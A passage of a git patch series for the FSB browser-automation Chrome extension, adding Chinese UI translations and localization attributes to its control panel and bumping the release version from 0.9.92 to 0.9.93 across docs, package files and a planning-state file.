+ "panel_32623395c6": { + "message": "重新執行新手引導,以變更提供者或 MCP 設定" + }, + "panel_db4cec18bf": { + "message": "FSB 的完整文件和設定指南" + }, + "panel_63dfe63d28": { + "message": "瀏覽常見問題並修復常見連線問題" + }, + "panel_d2286811e6": { + "message": "連接 Claude Code 和 Cursor 等 MCP 用戶端,然後用 doctor 命令驗證" + }, + "panel_f3cb441c27": { + "message": "閱讀 FSB 如何處理資料、儲存和選用的伺服器同步" + }, + "panel_476481e410": { + "message": "回報缺陷、要求功能並追蹤開發進度" + }, + "panel_89b47ad370": { + "message": "查看原始碼並為 FSB 開發做出貢獻" + }, + "panel_f775bb5cbf": { + "message": "查看每個 FSB 版本的新增和變更" + }, + "panel_8abc0aef4e": { + "message": "FSB 以 MIT 授權開源" + }, + "panel_e235f8135c": { + "message": "加入其他 FSB 使用者並關注更新" + }, + "panel_53e5555e9a": { + "message": "在遮罩含密欄位和敏感輸入後,將重播資料儲存在本機。一般輸入文字和操作結果仍可用於重播。MCP 用戶端可以提供不含機密的完成、部分或失敗摘要,以儲存本機工作記憶;不會另外呼叫 AI 提供者。關閉後會停止以後的 MCP 錄製,並儲存任何未結束的錄製。現有 MCP 重播紀錄最多保留最近 50 個工作階段,且不會超過所設定的保留期。自動駕駛紀錄不受影響。" + }, + "panel_65b7096b6d": { + "message": "此來源禁止自動化。" + }, + "panel_d50f8b527c": { + "message": "敏感來源。能力呼叫可以在自動模式下執行;網路擷取發現仍需要確認。" + }, + "panel_47d2a515ef": { + "message": "正在載入..." + }, + "panel_90e89ecfe7": { + "message": "載入接下來的 500 筆事件" + }, + "panel_935f2565d7": { + "message": "重試載入事件" + }, + "panel_4eee87e82f": { + "message": "無法連線保險庫服務" + }, + "panel_08bf951eda": { + "message": "尚未設定保險庫。請建立一個以保護已儲存的憑證。" + }, + "panel_949bcb5f38": { + "message": "保險庫已鎖定。" + }, + "panel_30cef3bfb8": { + "message": "此工作階段的保險庫已解除鎖定。" + }, + "panel_05dc3c4c0a": { + "message": "檢查保險庫狀態時發生錯誤。" + }, + "panel_890a216b7c": { + "message": "正在解除鎖定..." + }, + "panel_def70944c9": { + "message": "正在建立..." + }, + "panel_93ad91e855": { + "message": "請先解除憑證保險庫的鎖定。" + }, + "panel_8221f05f8b": { + "message": "付款方式已鎖定。" + }, + "panel_0b4ba676b0": { + "message": "此工作階段的付款方式已解除鎖定。" + }, + "panel_b82d31b688": { + "message": "檢查付款狀態時發生錯誤。" + }, + "panel_b197ab1d9b": { + "message": "請先在密碼中設定保險庫 PIN。" + }, + "panel_160419ae70": { + "message": "付款方式已解除鎖定。" + }, + "panel_507fc32dc5": { + "message": "編輯代理" + }, + "panel_fb25598ed0": { + "message": "建立新代理" + }, + "panel_6c02a28421": { + "message": "正在測試..." + }, + "panel_22965568d2": { + "message": "已連線" + }, + "panel_ee172faa9c": { + "message": "無效金鑰" + }, + "panel_031a8f0f65": { + "message": "失敗" + }, + "panel_424a2551d3": { + "message": "已過期" + }, + "panel_c7730178f4": { + "message": "產生新代碼" + }, + "panel_ac116124f7": { + "message": "無法產生配對碼。請再試一次。" + }, + "panel_d03fd96d28": { + "message": "選擇已載入的模型..." + }, + "panel_e189657f5a": { + "message": "沒有相符的模型" } } diff --git a/extension/ui/control_panel.html b/extension/ui/control_panel.html index bf08e0133..e92531c75 100644 --- a/extension/ui/control_panel.html +++ b/extension/ui/control_panel.html @@ -42,39 +42,39 @@ @@ -85,8 +85,8 @@
-

Dashboard

-

Monitor your AI usage, costs, and automation performance

+

Dashboard

+

Monitor your AI usage, costs, and automation performance

@@ -94,29 +94,29 @@

Dashboard

0
-
Total Tokens
+
Total Tokens
$0.00
-
Total Cost
+
Total Cost
0
-
Requests
+
Requests
100%
-
Success Rate
+
Success Rate
- Automation + Automation $0.00
- Memory + Memory $0.00
@@ -125,12 +125,12 @@

Dashboard

-

Token Usage Over Time

+

Token Usage Over Time

@@ -143,42 +143,42 @@

Token Usage Over Time

-

API Configuration

-

Configure your AI model provider and API settings

+

API Configuration

+

Configure your AI model provider and API settings

-

AI Model Configuration

+

AI Model Configuration

- + -
API providers use local keys. Agent CLIs use their existing local sign-in.
+
API providers use local keys. Agent CLIs use their existing local sign-in.
- +
@@ -193,18 +193,18 @@

AI Model Configuration

-
Select the AI model to use
+
Select the AI model to use
- +
- Get your API key from x.ai/api. Your key is stored locally in your browser. + Get your API key from x.ai/api. Your key is stored locally in your browser.
-

Speech-to-Text

+

Speech-to-Text

@@ -316,7 +316,7 @@

Speech-to-Text

-

CAPTCHA Solver

+

CAPTCHA Solver

Users haven't reported a single instance of FSB being detected as a bot and interrupting their workflow. That said, not every day is sunshine. This is here for when one isn't.

@@ -350,29 +350,29 @@

CAPTCHA Solver

-
Sign-in
Uses the account signed into Claude Code. FSB does not need your Anthropic credential.
-
Billing
Usage and charges follow that account's Claude plan or API configuration.
-
Auth state
Claude Code does not report an auth state that FSB can safely read.
+
Sign-in
Uses the account signed into Claude Code. FSB does not need your Anthropic credential.
+
Billing
Usage and charges follow that account's Claude plan or API configuration.
+
Auth state
Claude Code does not report an auth state that FSB can safely read.
@@ -403,8 +403,8 @@

Claude Code

-
Checking...
-
Verifying API connection
+
Checking...
+
Verifying API connection
@@ -423,32 +423,32 @@

Claude Code

-

Advanced Settings

-

Fine-tune automation behavior and performance

+

Advanced Settings

+

Fine-tune automation behavior and performance

-
Appearance
+
Appearance
-

Theme

-

Appearance of the control panel

+

Theme

+

Appearance of the control panel

- - - + + +
-
System follows your operating system appearance. Default: System.
+
System follows your operating system appearance. Default: System.
-
Execution & Limits
+
Execution & Limits
@@ -456,14 +456,14 @@

Theme

-

Automation Limits

-

Control task execution boundaries

+

Automation Limits

+

Control task execution boundaries

- Max Iterations + Max Iterations
@@ -471,7 +471,7 @@

Automation Limits

-
Prevents runaway automation loops
+
Prevents runaway automation loops
@@ -483,14 +483,14 @@

Automation Limits

-

DOM Analysis

-

Optimize page element processing

+

DOM Analysis

+

Optimize page element processing

- Element Limit + Element Limit
@@ -498,19 +498,19 @@

DOM Analysis

-
Balance between coverage and speed
+
Balance between coverage and speed
- Element Cache Size + Element Cache Size 200
-
Cached element lookups for faster repeated queries. Higher = faster on complex pages, more memory.
+
Cached element lookups for faster repeated queries. Higher = faster on complex pages, more memory.
@@ -530,14 +530,14 @@

DOM Analysis

-

Agent Concurrency

-

Maximum simultaneous agents

+

Agent Concurrency

+

Maximum simultaneous agents

- Concurrency Cap + Concurrency Cap 8
@@ -546,20 +546,20 @@

Agent Concurrency

-
+
Automatically recommended for your system. Range 1 to 64. Lower = predictable resource use; higher = more parallel agents. Lowering this value while active agents are running does not evict them; new claims past the new cap are rejected (grandfather behavior).
-
+
0 of 8 active
@@ -573,14 +573,14 @@

Agent Concurrency

-

Trigger Concurrency

-

Maximum simultaneous trigger watches

+

Trigger Concurrency

+

Maximum simultaneous trigger watches

- Concurrency Cap + Concurrency Cap
@@ -590,21 +590,21 @@

Trigger Concurrency

-
+
Default 8. Range 1 to 64. Lower = predictable resource use; higher = more parallel watches. Lowering this value while triggers are active does not stop existing watches; new triggers past the new cap are rejected.
-
+
0 of 8 active
-
Automation Behavior
+
Automation Behavior
@@ -612,8 +612,8 @@

Trigger Concurrency

-

Action Change Reports

-

Inline diff returned with each action

+

Action Change Reports

+

Inline diff returned with each action

@@ -624,8 +624,8 @@

Action Change Reports

- Return action change reports (recommended) - Returns a compact diff describing what each action changed, so the AI doesn't need to re-read the page. Default on. + Return action change reports (recommended) + Returns a compact diff describing what each action changed, so the AI doesn't need to re-read the page. Default on.
@@ -638,8 +638,8 @@

Action Change Reports

-

MCP Session Replay

-

Local, exact-fidelity history for MCP agent actions

+

MCP Session Replay

+

Local, exact-fidelity history for MCP agent actions

@@ -650,21 +650,21 @@

MCP Session Replay

- Record MCP sessions for replay - Stores replay data locally while redacting secret-bearing fields and sensitive inputs. Ordinary typed text and action results remain available for replay. MCP clients can save a local task memory by providing a secret-free completion, partial, or failure summary; no separate AI-provider call is made. Turning this off stops future MCP recording and saves any open recording. Existing MCP replay history stores up to the 50 most recent sessions, and no session is kept longer than the configured retention period. Autopilot history is unaffected. + Record MCP sessions for replay + Stores replay data locally while redacting secret-bearing fields and sensitive inputs. Ordinary typed text and action results remain available for replay. MCP clients can save a local task memory by providing a secret-free completion, partial, or failure summary; no separate AI-provider call is made. Turning this off stops future MCP recording and saves any open recording. Existing MCP replay history stores up to the 50 most recent sessions, and no session is kept longer than the configured retention period. Autopilot history is unaffected.
- MCP replay retention (days) + MCP replay retention (days)
-
Default 30. Range 1 to 365 days. This automatically deletes expired MCP replay sessions only; Autopilot history is never pruned by this setting.
+
Default 30. Range 1 to 365 days. This automatically deletes expired MCP replay sessions only; Autopilot history is never pruned by this setting.
@@ -676,8 +676,8 @@

MCP Session Replay

-

Performance Optimizations

-

Enable smart features to improve speed and accuracy

+

Performance Optimizations

+

Enable smart features to improve speed and accuracy

@@ -688,8 +688,8 @@

Performance Optimizations

- Delta Diffing - Send only DOM changes after first scan (70-90% context reduction) + Delta Diffing + Send only DOM changes after first scan (70-90% context reduction)
@@ -699,8 +699,8 @@

Performance Optimizations

- Viewport Priority - Focus on visible elements for faster, more relevant results + Viewport Priority + Focus on visible elements for faster, more relevant results
@@ -710,8 +710,8 @@

Performance Optimizations

- AI Site Map Refinement - Automatically refine site maps with AI for navigation strategies and workflow detection + AI Site Map Refinement + Automatically refine site maps with AI for navigation strategies and workflow detection
@@ -726,8 +726,8 @@

Performance Optimizations

-

Visual Feedback

-

Control visual indicators during automation

+

Visual Feedback

+

Control visual indicators during automation

@@ -738,8 +738,8 @@

Visual Feedback

- Animated Action Highlights - Show a pulsing glow around elements while actions are being performed + Animated Action Highlights + Show a pulsing glow around elements while actions are being performed
-
Privacy & Developer
+
Privacy & Developer
-

Voice Input

-

Control microphone input in the FSB side panel

+

Voice Input

+

Control microphone input in the FSB side panel

@@ -775,29 +775,29 @@

Voice Input

- Enable microphone voice input - Show the microphone in the side panel and allow browser speech recognition or OpenAI Whisper. Default on. + Enable microphone voice input + Show the microphone in the side panel and allow browser speech recognition or OpenAI Whisper. Default on.
Checking microphone permission… - Chrome manages the extension-wide microphone grant. + data-state="checking" role="status" aria-live="polite" data-i18n="panel_e007c1f5fd">Checking microphone permission… + Chrome manages the extension-wide microphone grant.
-
+
Turning voice input off stops FSB from using your microphone, but does not revoke Chrome's saved permission.
@@ -810,8 +810,8 @@

Voice Input

-

Developer Options

-

Tools for debugging and troubleshooting

+

Developer Options

+

Tools for debugging and troubleshooting

@@ -822,8 +822,8 @@

Developer Options

- Debug Mode - Enable verbose console logging for troubleshooting automation issues + Debug Mode + Enable verbose console logging for troubleshooting automation issues
@@ -839,8 +839,8 @@

Developer Options

-

Privacy & Telemetry

-

Anonymous usage data

+

Privacy & Telemetry

+

Anonymous usage data

@@ -852,13 +852,13 @@

Privacy & Telemetry

- Send anonymous usage data - Tokens used, MCP client name, active agent count. No URLs, prompts, or DOM. + Send anonymous usage data + Tokens used, MCP client name, active agent count. No URLs, prompts, or DOM.
Read full policy → + style="display:block; margin-top:8px;" data-i18n="panel_9ec9376910">Read full policy →
@@ -870,12 +870,12 @@

Privacy & Telemetry

-

Sync

-

Pair this extension with the FSB dashboard for remote control and result storage

+

Sync

+

Pair this extension with the FSB dashboard for remote control and result storage

- Disconnected + Disconnected
@@ -886,20 +886,20 @@

Sync

-

Server Sync

-

Connect to FSB server for result storage and dashboard access

+

Server Sync

+

Connect to FSB server for result storage and dashboard access

- +
-
Generate a key, then pair the dashboard to link this browser to the FSB server.
+
Generate a key, then pair the dashboard to link this browser to the FSB server.
@@ -931,12 +931,12 @@

Server Sync

Background agents have left the building
-

FSB stays focused on precise single-attempt browser execution. Scheduled and recurring task work is better served by tools built for it: OpenClaw for an open-source agent loop, and Claude Routines for managed long-running automations. Pick whichever fits the way you work.

+

FSB stays focused on precise single-attempt browser execution. Scheduled and recurring task work is better served by tools built for it: OpenClaw for an open-source agent loop, and Claude Routines for managed long-running automations. Pick whichever fits the way you work.

- Retired in v0.9.45rc1 · April 2026 + Retired in v0.9.45rc1 · April 2026
@@ -944,13 +944,13 @@

Server Sync

@@ -1065,8 +1065,8 @@

Memory

-

Reconnaissance

-

Crawl a website to map its interactive structure, navigation, and selectors

+

Reconnaissance

+

Crawl a website to map its interactive structure, navigation, and selectors

@@ -1087,7 +1087,7 @@

Reconnaissance

- - + +
@@ -1199,8 +1199,8 @@

-

Logs & Debugging

-

Monitor automation activity and troubleshoot issues

+

Logs & Debugging

+

Monitor automation activity and troubleshoot issues

@@ -1215,10 +1215,10 @@

Logs & Debugging

Export Logs

@@ -1227,7 +1227,7 @@

Logs & Debugging

00:00:00 INFO - FSB Control Panel loaded successfully + FSB Control Panel loaded successfully
@@ -1236,8 +1236,8 @@

Logs & Debugging

-

Session History

-

View and export logs from past automation sessions

+

Session History

+

View and export logs from past automation sessions

@@ -1256,7 +1256,7 @@

Session History

-

No sessions recorded yet. Run an automation task to see session logs here.

+

No sessions recorded yet. Run an automation task to see session logs here.

@@ -1267,8 +1267,8 @@

Session History

-

Analytics Debug Tools

-

Test and verify analytics data collection

+

Analytics Debug Tools

+

Test and verify analytics data collection

@@ -1291,7 +1291,7 @@

Analytics Debug Tools

@@ -1304,11 +1304,11 @@

Debug Output:

in the .adv-sub row below to match the sub-group visual pattern). Kept explicit so consent-audit-settings-ui.test.js and assistive- tech both see a semantic H2. --> -

Consent & Audit

+

Consent & Audit

-
Consent & Audit
-

The default below applies to every site you have not configured; the per-origin list lets you opt individual sites out.

+
Consent & Audit
+

The default below applies to every site you have not configured; the per-origin list lets you opt individual sites out.

@@ -1318,17 +1318,17 @@

Consent & Audit

-

Default for New Sites

-

How FSB treats a site you have not configured. Auto lets FSB call any non-blocked site's authenticated API (reads and writes). Off requires you to enable each site first. Ask queues a request for your approval.

+

Default for New Sites

+

How FSB treats a site you have not configured. Auto lets FSB call any non-blocked site's authenticated API (reads and writes). Off requires you to enable each site first. Ask queues a request for your approval.

-
Financial and government services are always blocked regardless of this setting. Shipped as Auto; set to Off to restore strict opt-in.
+
Financial and government services are always blocked regardless of this setting. Shipped as Auto; set to Off to restore strict opt-in.
@@ -1339,8 +1339,8 @@

Default for New Sites

-

Per-Origin Consent

-

Every site follows the default above unless you override it here. Set a site to Off to stop FSB acting on it.

+

Per-Origin Consent

+

Every site follows the default above unless you override it here. Set a site to Off to stop FSB acting on it.

@@ -1348,7 +1348,7 @@

Per-Origin Consent

-

No sites yet. Every site FSB acts on appears here so you can set it to Off (opt out). New sites follow the default above.

+

No sites yet. Every site FSB acts on appears here so you can set it to Off (opt out). New sites follow the default above.

@@ -1373,9 +1373,9 @@

Per-Origin Consent

@@ -1400,17 +1400,17 @@

Per-Origin Consent

-

Pending Requests

-

Requests waiting on your decision. Granting one lets the caller retry; FSB never acts without your approval.

+

Pending Requests

+

Requests waiting on your decision. Granting one lets the caller retry; FSB never acts without your approval.

- +
-

No pending requests. When a tool needs consent it appears here. You can also grant access ahead of time from the list above.

+

No pending requests. When a tool needs consent it appears here. You can also grant access ahead of time from the list above.

@@ -1425,7 +1425,7 @@

Pending Requests

- +
-

Audit Log

-

A redacted, append-only record of capability calls. No arguments, tokens, cookies, or response bodies are ever stored.

+

Audit Log

+

A redacted, append-only record of capability calls. No arguments, tokens, cookies, or response bodies are ever stored.

@@ -1468,13 +1468,13 @@

Audit Log

- - - - - - - + + + + + + + @@ -1482,7 +1482,7 @@

Audit Log

@@ -1499,20 +1499,20 @@

Audit Log

-

Legal & Service Policy

-

FSB's automation posture, audit retention, and the consent model are documented in LEGAL.md. Some origins are blocked from automation by the service denylist.

+

Legal & Service Policy

+

FSB's automation posture, audit retention, and the consent model are documented in LEGAL.md. Some origins are blocked from automation by the service denylist.

Read the legal posture → + style="display:block; margin-top:8px;" data-i18n="panel_fea0aab06e">Read the legal posture → View blocked services → + style="display:block; margin-top:8px;" data-i18n="panel_4fc14539b2">View blocked services → Privacy policy → + style="display:block; margin-top:8px;" data-i18n="panel_efc0b9cac2">Privacy policy →
@@ -1522,8 +1522,8 @@

Legal & Service Policy

-

Passwords Beta

-

Manage saved credentials and the shared credential vault for assisted sign-in

+

Passwords Beta

+

Manage saved credentials and the shared credential vault for assisted sign-in

@@ -1533,8 +1533,8 @@

Passwords Beta

- Enable Auto-Login - When enabled, FSB will detect login pages and offer to sign in automatically using saved credentials + Enable Auto-Login + When enabled, FSB will detect login pages and offer to sign in automatically using saved credentials
@@ -1542,40 +1542,40 @@

Passwords Beta

-

Credential Vault

-

Checking vault status...

+

Credential Vault

+

Checking vault status...

- +
@@ -1651,8 +1651,8 @@

Add Credential

-

Payments Beta

-

Manage saved cards for assisted checkout. Payment methods share the credential vault configured in Passwords.

+

Payments Beta

+

Manage saved cards for assisted checkout. Payment methods share the credential vault configured in Passwords.

@@ -1662,8 +1662,8 @@

Payments Beta

- Enable Saved Payment Methods - When enabled, FSB can prompt to fill a saved card on checkout pages. It never submits the final payment automatically. + Enable Saved Payment Methods + When enabled, FSB can prompt to fill a saved card on checkout pages. It never submits the final payment automatically.
@@ -1671,33 +1671,33 @@

Payments Beta

-

Saved Payment Methods

-

Checking payment method status...

+

Saved Payment Methods

+

Checking payment method status...

- +
@@ -1824,8 +1824,8 @@

Add Payment Method

-

Help & Documentation

-

Get help and learn more about FSB features

+

Help & Documentation

+

Get help and learn more about FSB features

@@ -1833,98 +1833,98 @@

Help & Documentation

-

Getting Started

-

Learn the basics of browser automation with FSB

- Visit Website +

Getting Started

+

Learn the basics of browser automation with FSB

+ Visit Website
-

Guided Setup

-

Re-run the onboarding walkthrough to change your provider or MCP setup

- Restart Setup +

Guided Setup

+

Re-run the onboarding walkthrough to change your provider or MCP setup

+ Restart Setup
-

Documentation

-

Complete documentation and setup guides for FSB

- View Repository +

Documentation

+

Complete documentation and setup guides for FSB

+ View Repository
-

Support & FAQ

-

Browse FAQs and fix common connection issues

- Open Support +

Support & FAQ

+

Browse FAQs and fix common connection issues

+ Open Support
-

MCP Setup

-

Connect MCP clients like Claude Code and Cursor, then verify with the doctor command

- View MCP Guide +

MCP Setup

+

Connect MCP clients like Claude Code and Cursor, then verify with the doctor command

+ View MCP Guide
-

Privacy Policy

-

Read how FSB handles data, storage, and optional server sync

- View Privacy Policy +

Privacy Policy

+

Read how FSB handles data, storage, and optional server sync

+ View Privacy Policy
-

Issues

-

Report bugs, request features, and track development progress

- View Issues +

Issues

+

Report bugs, request features, and track development progress

+ View Issues
-

Source Code

-

View the source code and contribute to FSB development

- View GitHub +

Source Code

+

View the source code and contribute to FSB development

+ View GitHub
-

Release Notes

-

See what's new and changed in each FSB release

- View Releases +

Release Notes

+

See what's new and changed in each FSB release

+ View Releases
-

License

-

FSB is open source under the MIT license

- View License +

License

+

FSB is open source under the MIT license

+ View License
-

Community

-

Join other FSB users and follow along for updates

+

Community

+

Join other FSB users and follow along for updates

+ + @@ -2068,6 +2070,7 @@

Community

+ |<\/([A-Za-z0-9]+)>|<([A-Za-z0-9]+)([^>]*)>|([^<]+)/g; + while ((match = token.exec(withoutScripts))) { + if (match[0].startsWith(' # FSB (Full Self-Browsing) -FSB (Full Self-Browsing) is an open-source Chrome extension that automates the browser through natural language. You describe a task; FSB plans the clicks, types, and navigation to complete it. Multi-model AI (xAI, OpenAI, Anthropic, Gemini, OpenRouter, LM Studio, local), 56 browser tools, a 68-tool MCP surface, 142+ site guides, local-first execution, and BYO API keys. Current release: FSB v0.9.92 (extension) with fsb-mcp-server 0.11.1 (npm). +FSB (Full Self-Browsing) is an open-source Chrome extension that automates the browser through natural language. You describe a task; FSB plans the clicks, types, and navigation to complete it. Multi-model AI (xAI, OpenAI, Anthropic, Gemini, OpenRouter, LM Studio, local), 56 browser tools, a 68-tool MCP surface, 142+ site guides, local-first execution, and BYO API keys. Current release: FSB v0.9.93 (extension) with fsb-mcp-server 0.11.1 (npm). License: [MIT License](https://github.com/fullselfbrowsing/FSB/blob/main/LICENSE). diff --git a/showcase/angular/scripts/llms-full.source.md b/showcase/angular/scripts/llms-full.source.md index fe19536dd..154df3553 100644 --- a/showcase/angular/scripts/llms-full.source.md +++ b/showcase/angular/scripts/llms-full.source.md @@ -2,7 +2,7 @@ ## 1. Project Description -FSB (Full Self-Browsing) is an open-source Chrome extension that automates the browser through natural language. You describe a task in plain English; FSB plans the clicks, types, and navigation to complete it. The extension runs in your browser with your own API keys, encrypted local storage, and opt-out anonymous usage telemetry for aggregate public stats only. Multi-model AI (xAI Grok, OpenAI, Anthropic Claude, Google Gemini, OpenRouter, LM Studio, custom OpenAI-compatible endpoints), 56 canonical browser tools, a 68-tool MCP surface, 142+ site-specific guides, reactive trigger watchers, real file uploads, and a 128-app native capability catalog for verified first-party API execution. Current release: FSB v0.9.92 (Chrome extension) with fsb-mcp-server 0.11.1 (npm MCP package). +FSB (Full Self-Browsing) is an open-source Chrome extension that automates the browser through natural language. You describe a task in plain English; FSB plans the clicks, types, and navigation to complete it. The extension runs in your browser with your own API keys, encrypted local storage, and opt-out anonymous usage telemetry for aggregate public stats only. Multi-model AI (xAI Grok, OpenAI, Anthropic Claude, Google Gemini, OpenRouter, LM Studio, custom OpenAI-compatible endpoints), 56 canonical browser tools, a 68-tool MCP surface, 142+ site-specific guides, reactive trigger watchers, real file uploads, and a 128-app native capability catalog for verified first-party API execution. Current release: FSB v0.9.93 (Chrome extension) with fsb-mcp-server 0.11.1 (npm MCP package). License: [MIT License](https://github.com/fullselfbrowsing/FSB/blob/main/LICENSE). @@ -131,7 +131,7 @@ FSB exposes its tooling through a Model Context Protocol (MCP) server. External The MCP surface is the best way to use FSB with coding agents and external autonomy layers. FSB handles precise single-attempt browser execution, visual feedback, observability, and verification. Long-running scheduling and personality/identity decisions belong in the calling agent layer, such as OpenClaw or Claude Routines. ### OpenClaw skill -FSB ships a dedicated OpenClaw + Hermes skill at `skills/fsb/` in the repo root. The skill is the canonical OpenClaw onboarding path: it runs the doctor flow against `fsb-mcp-server`, prints the OpenClaw stdio config block for the user to paste into OpenClaw's MCP config, and offers consent-gated install for any other MCP hosts detected on the same machine. The bare `--openclaw` flag in the FSB MCP installer stays manual / unsupported because OpenClaw's MCP config schema is still unstable across builds; the skill prints, the user pastes, no auto-write. Frontmatter ships with `name: fsb`, `version: 0.9.92`, `requires.bins: [node, npx]`, and `requires.env: []` so vault credentials never leave the FSB Chrome extension. The full marketing rundown (skill features, MCP power story, 3-step install, grounded use cases, autopilot rules) lives at `https://full-selfbrowsing.com/agents`. Hermes users get the same skill: `node skills/fsb/scripts/print-hermes-yaml.mjs` prints the canonical `~/.hermes/config.yaml` `mcp_servers.fsb` block, and FSB v0.9.69 (PR #49) added `Hermes` to the v0.9.36 shared MCP client allowlist so action calls passing `client: "Hermes"` work without schema changes. +FSB ships a dedicated OpenClaw + Hermes skill at `skills/fsb/` in the repo root. The skill is the canonical OpenClaw onboarding path: it runs the doctor flow against `fsb-mcp-server`, prints the OpenClaw stdio config block for the user to paste into OpenClaw's MCP config, and offers consent-gated install for any other MCP hosts detected on the same machine. The bare `--openclaw` flag in the FSB MCP installer stays manual / unsupported because OpenClaw's MCP config schema is still unstable across builds; the skill prints, the user pastes, no auto-write. Frontmatter ships with `name: fsb`, `version: 0.9.93`, `requires.bins: [node, npx]`, and `requires.env: []` so vault credentials never leave the FSB Chrome extension. The full marketing rundown (skill features, MCP power story, 3-step install, grounded use cases, autopilot rules) lives at `https://full-selfbrowsing.com/agents`. Hermes users get the same skill: `node skills/fsb/scripts/print-hermes-yaml.mjs` prints the canonical `~/.hermes/config.yaml` `mcp_servers.fsb` block, and FSB v0.9.69 (PR #49) added `Hermes` to the v0.9.36 shared MCP client allowlist so action calls passing `client: "Hermes"` work without schema changes. ### ClawHub install path The /agents page exposes a one-click install on ClawHub at `https://clawhub.ai/lakshmanturlapati/full-selfbrowsing`. ClawHub is the recommended distribution surface for OpenClaw users who want the FSB skill registered without manually pasting stdio config. The skill source remains browsable at `https://github.com/fullselfbrowsing/FSB/tree/main/skills/fsb` for users who prefer reading before installing. diff --git a/showcase/angular/scripts/llms.source.md b/showcase/angular/scripts/llms.source.md index df73f78e6..de356735e 100644 --- a/showcase/angular/scripts/llms.source.md +++ b/showcase/angular/scripts/llms.source.md @@ -1,6 +1,6 @@ # FSB (Full Self-Browsing) -FSB (Full Self-Browsing) is an open-source Chrome extension that automates the browser through natural language. You describe a task; FSB plans the clicks, types, and navigation to complete it. Multi-model AI (xAI, OpenAI, Anthropic, Gemini, OpenRouter, LM Studio, local), 56 browser tools, a 68-tool MCP surface, 142+ site guides, local-first execution, and BYO API keys. Current release: FSB v0.9.92 (extension) with fsb-mcp-server 0.11.1 (npm). +FSB (Full Self-Browsing) is an open-source Chrome extension that automates the browser through natural language. You describe a task; FSB plans the clicks, types, and navigation to complete it. Multi-model AI (xAI, OpenAI, Anthropic, Gemini, OpenRouter, LM Studio, local), 56 browser tools, a 68-tool MCP surface, 142+ site guides, local-first execution, and BYO API keys. Current release: FSB v0.9.93 (extension) with fsb-mcp-server 0.11.1 (npm). License: [MIT License](https://github.com/fullselfbrowsing/FSB/blob/main/LICENSE). diff --git a/showcase/angular/src/app/core/seo/version.ts b/showcase/angular/src/app/core/seo/version.ts index 6f73120a2..b63ffb434 100644 --- a/showcase/angular/src/app/core/seo/version.ts +++ b/showcase/angular/src/app/core/seo/version.ts @@ -1,2 +1,2 @@ // Generated by scripts/build-crawler-files.mjs from manifest.json -- do not edit by hand. -export const APP_VERSION = '0.9.92'; +export const APP_VERSION = '0.9.93'; diff --git a/showcase/angular/src/app/pages/release-notes/release-notes-page.component.ts b/showcase/angular/src/app/pages/release-notes/release-notes-page.component.ts index 529917a2b..638f8cc85 100644 --- a/showcase/angular/src/app/pages/release-notes/release-notes-page.component.ts +++ b/showcase/angular/src/app/pages/release-notes/release-notes-page.component.ts @@ -52,6 +52,7 @@ export class ReleaseNotesPageComponent implements OnInit, OnDestroy { readonly capRow2: readonly CapabilityApp[] = CAPABILITY_ROW_2; readonly releases: readonly ReleaseEntry[] = [ + { version: '0.9.93' }, { version: '0.9.92' }, { version: '0.9.91' }, { version: '0.9.90' }, diff --git a/showcase/server/package-lock.json b/showcase/server/package-lock.json index 8dff5630d..ccf286dd2 100644 --- a/showcase/server/package-lock.json +++ b/showcase/server/package-lock.json @@ -1,12 +1,12 @@ { "name": "fsb-server", - "version": "0.9.92", + "version": "0.9.93", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "fsb-server", - "version": "0.9.92", + "version": "0.9.93", "dependencies": { "better-sqlite3": "^11.0.0", "cors": "^2.8.5", diff --git a/showcase/server/package.json b/showcase/server/package.json index c57fbd3c4..bc43b1953 100644 --- a/showcase/server/package.json +++ b/showcase/server/package.json @@ -1,6 +1,6 @@ { "name": "fsb-server", - "version": "0.9.92", + "version": "0.9.93", "description": "FSB Background Agents backend server with result storage and dashboard", "main": "server.js", "scripts": { diff --git a/skills/fsb/SKILL.md b/skills/fsb/SKILL.md index 9f189c88d..bd6ba1c39 100644 --- a/skills/fsb/SKILL.md +++ b/skills/fsb/SKILL.md @@ -1,7 +1,7 @@ --- name: fsb description: FSB drives the user's Chrome via the FSB extension and an MCP bridge for live web tasks. -version: 0.9.92 +version: 0.9.93 user-invocable: true requires: bins: [node, npx] diff --git a/skills/fsb/references/multi-agent-contract.md b/skills/fsb/references/multi-agent-contract.md index 5adc7174e..7f7bcad83 100644 --- a/skills/fsb/references/multi-agent-contract.md +++ b/skills/fsb/references/multi-agent-contract.md @@ -1,4 +1,4 @@ -# FSB multi-agent contract (current as of v0.9.92) +# FSB multi-agent contract (current as of v0.9.93) This file documents the rules that make FSB's per-agent tab ownership work. Anyone calling FSB tools through MCP MUST follow these rules; breaking them produces typed errors that recover cleanly only when the caller knows the contract. The contract is small (six error names + the `agent_id` rule + the `back` tool), but every rule matters: bypassing one corrupts the ownership graph and the only recovery is closing the affected tab. diff --git a/store-assets/chrome-web-store/listing-copy.md b/store-assets/chrome-web-store/listing-copy.md index e8ac037ec..06384311e 100644 --- a/store-assets/chrome-web-store/listing-copy.md +++ b/store-assets/chrome-web-store/listing-copy.md @@ -2,7 +2,7 @@ ## Title -FSB v0.9.92 +FSB v0.9.93 ## Summary From d7b671e1c2a4a797c19c9e73166e64d9f0a1753b Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Tue, 13 Oct 2026 15:22:46 -0500 Subject: [PATCH 12/57] docs(v1.3.0): record milestone PR #150 in planning state Co-Authored-By: Claude Opus 5.5 (1M context) --- .planning/STATE.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.planning/STATE.md b/.planning/STATE.md index 8c5b2bdb8..b9779cb6c 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -3,7 +3,7 @@ gsd_state_version: 1.0 milestone: v1.3.0 milestone_name: Extension multilingual UI status: completed -last_updated: "2026-10-13T05:30:00.000Z" +last_updated: "2026-10-13T20:22:29.068Z" last_activity: 2026-10-13 progress: total_phases: 6 @@ -39,8 +39,8 @@ The sections below this banner are accumulated decisions from earlier milestones Phase: 71 — Language control (passed) Plan: 71-01 -Status: Milestone execution finished. Product version is 0.9.93. -Last activity: 2026-10-13 — Phase 70 coverage audit and Phase 71 language control passed +Status: Milestone v1.3.0 is in PR #150. Six review findings are open, two of them blocking. +Last activity: 2026-10-13, opened PR #150 for review ## Roadmap At A Glance (v0.9.91, Phases 57-65) From dbc40346509be001eb85a83a7e4923e61307c041 Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Tue, 13 Oct 2026 16:27:40 -0500 Subject: [PATCH 13/57] fix(66-71): 